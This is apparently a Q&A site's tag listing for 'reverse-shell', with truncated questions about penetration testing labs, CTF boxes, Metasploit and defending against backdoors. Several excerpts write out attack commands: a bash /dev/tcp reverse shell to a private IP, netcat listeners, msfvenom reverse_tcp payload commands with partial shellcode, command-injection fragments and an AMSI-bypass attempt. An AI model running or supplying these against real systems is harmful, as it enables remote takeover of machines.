Questions tagged [reverse-shell]
The reverse-shell tag has no usage guidance.
54
questions
0
votes
1
answer
37
views
Auto-opening a reverse bash shell
Is it possible to use a tool like netcat to create a listener on the attacker's device with a specific command that when the target device or machine connects to this IP and port, it runs a bash shell ...
0
votes
0
answers
54
views
Running code on attacker machine from a reverse ssh exploit? (Low level theoretical explanation required)
Reverse shell. A victim server runs a malicious binary which creates an SSH connection to the attacker machine. Then the attacker machine SSH's to the victim server and runs commands (that way you ...
- 111
0
votes
0
answers
58
views
Is it possible to disable screenshare if someone's got meterpreter shell on your PC?
If hypothetically there was a meterpreter shell installed on your pc, are there security features or ways to harden a Windows laptop to prevent the hacker from using the screen share command to spy on ...
- 1
0
votes
1
answer
116
views
If a reverse shell target is an administrator does the attacker have admin?
If a reverse shell target is an administrator does the attacker have admin?
I've been trying to find the answer to this but can only find general information on how they connect to a target and not ...
1
vote
0
answers
493
views
Reverse shell not working [closed]
I'm running a DVWA container on my kali VM using:
docker run --rm -it -p 80:80 vulnerables/web-dvwa
Network interface details:
Kali docker0 int: 172.17.0.1/16
Kali eth0 int: 192.168.1.233/24
DVWA ...
0
votes
0
answers
151
views
Why doesn't this reverse shell work?
If I have the following php code:
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
why does this code work when injecting with burpsuite:
delim=comma;bash -c ...
- 101
0
votes
0
answers
8
views
Metasploit exploit linux/http/hikvision_cve_2021_36260_blind issue 'command shell session x is invalid and will be closed' [duplicate]
When I use the Hikvision CVE 2021 36260 exploit in Metasploit, it comes up with a strange, almost never-seen-before error Command shell session x is not valid and will be closed. There is no other ...
0
votes
2
answers
163
views
if an attacker connects to your machine with a reverse shell can you take control of their machine using the listener they setup
If an attacker were to set up a netcat listener (nc -lvnp 4444), then is it possible to take control of their device using that listener? Whenever I look for an answer online, all I can find is how to ...
1
vote
1
answer
230
views
Why do you need to wrap bash command inside another when opening a reverse shell?
In the CSAW 2022 web challenge, called "my little website", a youtuber in this video used a vulnerability in md-to-pdf to run arbitrary js, and this is the payload used:
---js
((require[&...
- 121
0
votes
0
answers
123
views
I cannot make a reverse connection
I am playing with a Linux CTF server and came across a kind of reverse connection block. I uploaded a php webshell, gained control of www-data user and tried to make a reverse shell.
Possible a UFW ...
0
votes
0
answers
69
views
Is it possible to reverse the connection of a client connected to a Google Meeting?
I was watching some videos of Jim Browning on Youtube and I have noticed that he reverses the connection of the scammer and gets remote access to their devices.
So I was wondering about the risks that ...
- 111
2
votes
1
answer
184
views
Reverse Shell for managing unreachable remote computers
In the near future, I will have about 50 remote computers to manage. These will be physical PCs running Debian 11, distributed all over the country. They will automatically perform a special kind of ...
- 123
1
vote
1
answer
2k
views
Payload uploaded but error : "no session was created"
I'm doing a capture-the-flag challenge (similar to HackTheBox) and I can't figure it out despite looking at many workarounds how to solve my issue.
I did:
nmap --> got port 8080
firefox -> 10....
- 113
1
vote
1
answer
867
views
Reverse PHP shell exit when netcat listening
My reverse shell is exiting when i lsten it with netcat: here is netcat output:
listening on [any] 5555 ...
connect to [10.9.3.117] from (UNKNOWN) [10.10.47.117] 37602
bash: cannot set terminal ...
- 11
1
vote
1
answer
364
views
Getting reverse shell from firewalled target
Suppose this scenario:
You are already inside a corporate network. Suppose to find out a RCE in a X service. The machine that hosts that service is behind a network-based firewall, ingress rules and ...
- 13
0
votes
0
answers
306
views
Can I inject shell in the below php code?
How I can inject a shell command in the below code?
<?php
if (isset($_POST['search'])) {
$res = trim(shell_exec("findstr /l /m /s \"" . $_POST['search'] . "\" ...
2
votes
2
answers
9k
views
Upgrading a reverse shell with stty raw -echo doesn't work
I successfully got a reverse shell:
nc -lnvp 8000 # in Kali
/bin/bash -i >& /dev/tcp/192.168.6.1/8000 0>&1 # in the victim machine
I tried to upgrade it in the standard way:
python -c '...
- 245
1
vote
1
answer
3k
views
Suspicious HTTP Requests in my logs [duplicate]
I'm running a PHP application with a user management system called userspice. It basically allows you to include the userspice PHP file and then control access to a certain PHP page.
As I have seen ...
- 11
1
vote
0
answers
975
views
PHP reverse shell is not responding back [closed]
I created a php reverse shell using msfvenom utility like:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<MY_IP> LHOST=4444 -f raw > reverse_shell.php
And I created a listener using ...
- 11
2
votes
0
answers
487
views
Why a curl piped bash command works but not the direct command? [closed]
So im doing some pentesting in a TryHackme box (Chill Hack) and I've come to some trouble. In this box I have available an input in a website where I can inject commands to the vulnerable system.
This ...
- 23
2
votes
2
answers
729
views
Why is the first step for an attacker to get Reverse Shell after getting RCE?
If someone is having a Remote Code Execution, that means, one can run the commands on the server, then why does he need to get the Reverse Shell?
Even though I can run system commands, then why do I ...
- 31
3
votes
1
answer
6k
views
How do I stabilize a reverse shell in when the attack box is using powershell?
I've managed to get a version of netcat onto my Windows machine and I can run the standard:
nc -lvnp 1234
and this properly connects to the victim's machine, but it's a very fragile connection. Ctrl +...
- 39
1
vote
1
answer
312
views
Reverse shell with python client side becomes detectable after converting with pyinstaller as exe file
When converting the reverse shell client.py python file to exe with pyinstaller it becomes detectable as a trojan on virustotal.com with most antivirus.
Here is my client file:
import os, socket, ...
- 111
0
votes
2
answers
265
views
UFW does not block meterpreter
I am doing some pen testing on my wordpress server. I wanted to see what would happen if the attacker were to get a hold of my username and password for wordpress.
So I used the standard exploit in ...
- 1
1
vote
1
answer
591
views
Meterpreter Session died [Bwapp]
I just set up a lab with bwapp and wanted to jump straight into webshell.
I used Unrestricted file upload vuln --> uploaded my perfect shell created with msfvenom.
My only problem is that my ...
- 21
3
votes
1
answer
4k
views
Connect msfvenom reverse shell without metasploit
For most reverse shell here, I can simply use netcat to connect:
nc -nlvp 1234
But for reverse shell created by msfvenom, for example:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 ...
- 838
0
votes
0
answers
624
views
Access to Reverse Shell from another network
If when we have a reverse shell and get persistence and we try to access the compromised target from another network different from the one which we created the payload, is that access to the ...
0
votes
0
answers
584
views
Reverse shell from backdoor - exposing attacker? [duplicate]
If an attacker successfully installed a backdoor that connects to his computer via a reverse shell, how can the attacker hide his IP address?
I'd guess he can't use Tor or a VPN, because packet ...
2
votes
0
answers
1k
views
Unable to start reverse shell over HTTP
I am able to get a reverse shell working locally over TCP, but failing to trigger it remotely over HTTP.
Locally over TCP:
Attacker terminal runs netcat to listen for a connection over port 8000: nc -...
- 21
0
votes
1
answer
2k
views
LFI to RCE through User-Agent
I'm doing a pentest on a FreeBSD machine running CuppaCMS. Already managed to login into the CMS with admin privilege, but it only takes me to a manager menu, with some options to change some tables ...
1
vote
1
answer
2k
views
Help Understanding PHP Reverse Shells
I have recently done two different hackable VMs and had to take, after reading walkthroughs, two different approaches.
For Fristileaks 1.3, it was simple. I was able to get login credentials to the ...
- 11
0
votes
0
answers
124
views
Why to use Reverse Shell? [duplicate]
I know that reverse shells get the victim to connect to us, but I heard that people mostly use reverse shells Why use reverse shells when hacking a network outside our local network as we have to do ...
user235696
0
votes
3
answers
300
views
Php intermediate shell [closed]
Is there any way that i can use the compromised website as the shell
What i am trying to achieve is to get a reverse shell on the machine,not a webshell.The target machine has a website hosted on it ...
- 1
0
votes
0
answers
600
views
Kioptrix 2: Why netcat reverse shell executed in web browser via command injection bug doesn't work?
I've completed kioptrix level 2 challenge via sql injection, command injection, bash reverse shell, and local privilege escalation as part of my OSCP preparation.
https://www.vulnhub.com/entry/...
- 367
0
votes
1
answer
544
views
When using metasploit with my python reverse shell script I get a byte error, but it seems to work fine when using a netcat listener
When I run my python script and use netcat -nvlp 4444 the connection establishes fine and I am able to use the functions.
When attempting to replicate this in metasploit I use set payload windows/...
0
votes
1
answer
106
views
How do you securely give access to a Java App interactive console (Linux/GNU)?
I have a Java App running, which prints out messages into STDOUT and also has an active interactive console (also accepts STDIN), when the server has started up.
How do I securely give access to an ...
- 1,546
2
votes
1
answer
3k
views
Bypass AMSI Windows 10
I'm trying to run a powershell reverse shell on windows 10. Anyway everytime it is blocked by Wndows Defender. How can I bypass it?
In a file I store the payload
$client = New-Object System.Net....
- 567
-1
votes
2
answers
527
views
Hide reverse shell window launched with HID attack
GOAL: the attacker insert into a victim's laptop an USB which act as a keyboard. The payload opens a terminal, executes a reverse shell and hides the terminal.
PROBLEM: the tests I did locally (...
- 567
0
votes
1
answer
7k
views
What is bindshell backdoor?
I just found out a bindshell backdoor, but I don't know how to access/connect to it using Metasploit.
I'm a beginner with exploiting; is there a way to access the backdoor? I tried to search for "...
- 5
2
votes
2
answers
3k
views
Getting an Interactive Powershell Reverse Shell Using socat
I've read that socat is capable of creating interactive shells. I'd like to create an interactive Powershell shell.
Kali Listener
# socat - tcp4-listen:1338
Windows (socat.exe used from here: https://...
0
votes
0
answers
37
views
How is it possible for people to reverse a GoToAssist session? [duplicate]
I am puzzled by how people on Youtube bait scammers into connecting to their machines and end up "reversing" the connection on them. Essentially controlling the scammer's PC.
Is this done via reverse ...
- 275
1
vote
1
answer
2k
views
I set up a successful reverse shell but my commands return nothing
I recently successfully uploaded an msfvenom binary payload into a Windows server 2008 VM.
My netcat listener displays the following message:
connect to [lhost ip] from (UNKNOWN) [rhost ip] 49155
...
1
vote
0
answers
335
views
Spawned reverse shell will not run additional commands
I am new to this, so I applogise if this is a silly question!
I have created a reverse shell on a Windows box using an exploit script and the following MSFVENOM to create a reverse shell.
msfvenom -...
- 143
1
vote
1
answer
1k
views
Why is a bind shell sometimes blocked when a reverse shell is not?
I understood the difference between them. The problem is I am not sure when to use each. I mean, if a firewall will block my connection to the target when I use bind shell, why the connection will not ...
- 13
3
votes
1
answer
385
views
How to detect backdoor/root shells?
Let's assume I'm a user with root access to a machine and I'm a legit user. My machine/server runs Linux. I'm not very familiar with defensive security (I mainly practice offensive). Sometimes, ...
- 3,482
1
vote
1
answer
8k
views
Metasploit - Does the multi handler sends the payload, or just listens for connection
Does the metasploit module: exploit/multi/handler
sends payloads to stagers?
Or does it just listens for an incoming connection like a netcat
listener?
Or does it do both, as needed?
- 345
0
votes
1
answer
2k
views
Executing shellcode in python format [closed]
So after running the command:
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.31 lport=8080 -f py
I receive the output:
buf = b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\...
2
votes
0
answers
207
views
Reverse TCP - Bind to a specific port
So, I'm trying to solve a CTF challenge that involves exploiting a remote service. The service doesn't check for the size of the input and there is a buffer overflow vulnerability. However, before I ...
- 121
0
votes
1
answer
9k
views
Command injection — filtering bypass [closed]
I am testing a python script that provides a ping function
os.system('ping ' + command)
all of this characters are filtered
'&', ';', '-', '`' , '||', '|'
i can't use null bytes like %0A i'...
- 63
1
vote
2
answers
1k
views
Metasploit multi handler reverse tcp connection
Can we listen for 10 connections at once using any options present in Metasploit.
- 41